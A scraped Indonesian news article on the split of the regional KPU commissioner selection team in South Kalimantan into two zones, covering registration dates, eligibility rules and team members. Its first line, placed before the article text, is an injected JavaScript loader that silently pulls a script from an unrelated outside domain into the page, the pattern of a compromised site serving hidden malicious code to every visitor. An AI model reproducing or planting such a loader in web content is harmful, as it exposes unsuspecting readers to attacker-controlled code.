(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Guna memaksimalkan seleksi anggota KPU di kabupaten/kota untuk masa jabatan 2018-2022, Tim Seleksi (Timsel) KPU kini dibagi menjadi dua. Yakni Timsel Zona 1 yang menangani pemilihan anggota KPU di Balangan, Hulu Sungai Selatan (HSS), Hulu Sungai Tengah (HST), Hulu Sungai Utara (HSU) dan Tapin. Sedangkan Timsel Zona 2, untuk seleksi calon anggota KPU di Banjarmasin, Banjarbaru, Banjar, Barito Kuala, Tanah Laut, Kotabaru, dan Tanah Bumbu.
Dua Timsel yang bertugas di dua zona tersebut masing-masing beranggotakan 5 orang yang dipilih langsung oleh KPU Pusat. Timsel inilah yang nantinya akan melakukan tugas seleksi anggota KPU di daerah dalam rangka tugas pelaksanaan pemilu.
Ketua Tim Seleksi Zona 2, Setia Budhi mengatakan, untuk pendaftaran anggota KPU akan dibuka dari 2 Maret hingga 12 Maret 2018.
“Ini berlaku bagi umum, diantara syaratnya minimal umur 30 tahun dan berpendidikan minimal lulusan SMA dan berdomisili sesuai daerahnya, dibuktikan dengan KTP-elektronik,” ujarnya.
Dia mengatakan, masyarakat yang berminat untuk menjadi anggota KPU dipersilahkan mendaftar. Utamanya bagi perempuan. Kedepannya, tim seleksi akan memilih enam orang untuk masing-masing daerah yang nantinya dikirimkan ke KPU pusat. “Jadi hasil akhirnya tetap KPU pusat yang akan memilihnya, kita hanya melakukan proses seleksi sebagaimana syarat-syarat yang berlaku,” terangnya.
Ia mengatakan bahwa ada juga aturan baru, bagi ASN yang ingin mendaftar harus menyertakan surat izin dari atasan. Begitupun bagi pegawai BUMN dan BUMD harus bersedia izin dari jabatannya sebagai pegawai BUMN dan BUMD.
Persyaratan lainnya harus berdomisili sesuai kabupaten/kota tempatnya mendaftar yang dibuktikan berdasarkan KTP elektronik atau surat keterangan dari Dikcapil. Peserta seleksi komisioner bukan anggota partai politik dalam jangka waktu paling lambat 5 tahun pada saat mendaftar sebagai calon. “Bukan saya yang melarang mendaftar tapi aturan perundang-undangan begitu,†tegasnya.
Sebelumnya, guna menghindari pandangan negatif akan adanya komisioner titipan Parpol dalam rekrutmen anggota KPU, tim seleksi menerapkan pola rekrutmen berbasis Computer Assisted Test (CAT). Dengan menggunakan pola tersebut, maka mekanisme seleksi akan lebih transparan kerena nilai peserta bisa diketahui secara real time dengan menggunakan sistem gugur.
Lewat sistem CAT, panitia bisa langsung mengetahui bobot serta kualitas calon seperti cara menjawab. Perekrutan dilakukan secara profesional guna menghasilkan sosok anggota KPU yang mumpuni.(cel/net)
Timsel KPU Zona I |
Personel : DR H Ichsan Anwary (ketua), H Ahmad Yunani, Ani Cahyadi, Muhammad Ahsin Rifai, dan Naimah. Wilayah : Balangan, Hulu Sungai Selatan (HSS), Hulu Sungai Tengah (HST), Hulu Sungai Utara (HSU) dan Tapin |
Timsel KPU Zona 2 |
Personel : Setia Budhi PhD (ketua), Sulkan, M Adriani Yulizar, Karjani, dan Varinia Pura Daimayanti. Wilayah : Banjarmasin, Banjarbaru, Banjar, Barito Kuala, Kotabaru, Tanah Laut, dan Tanah Bumbu. |
KANALKALIMANTAN.COM, BAKU - Pemerintah Indonesia melalui Utusan Khusus Presiden Republik Indonesia Hashim Djojohadikusumo berhasil memikat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
This website uses cookies.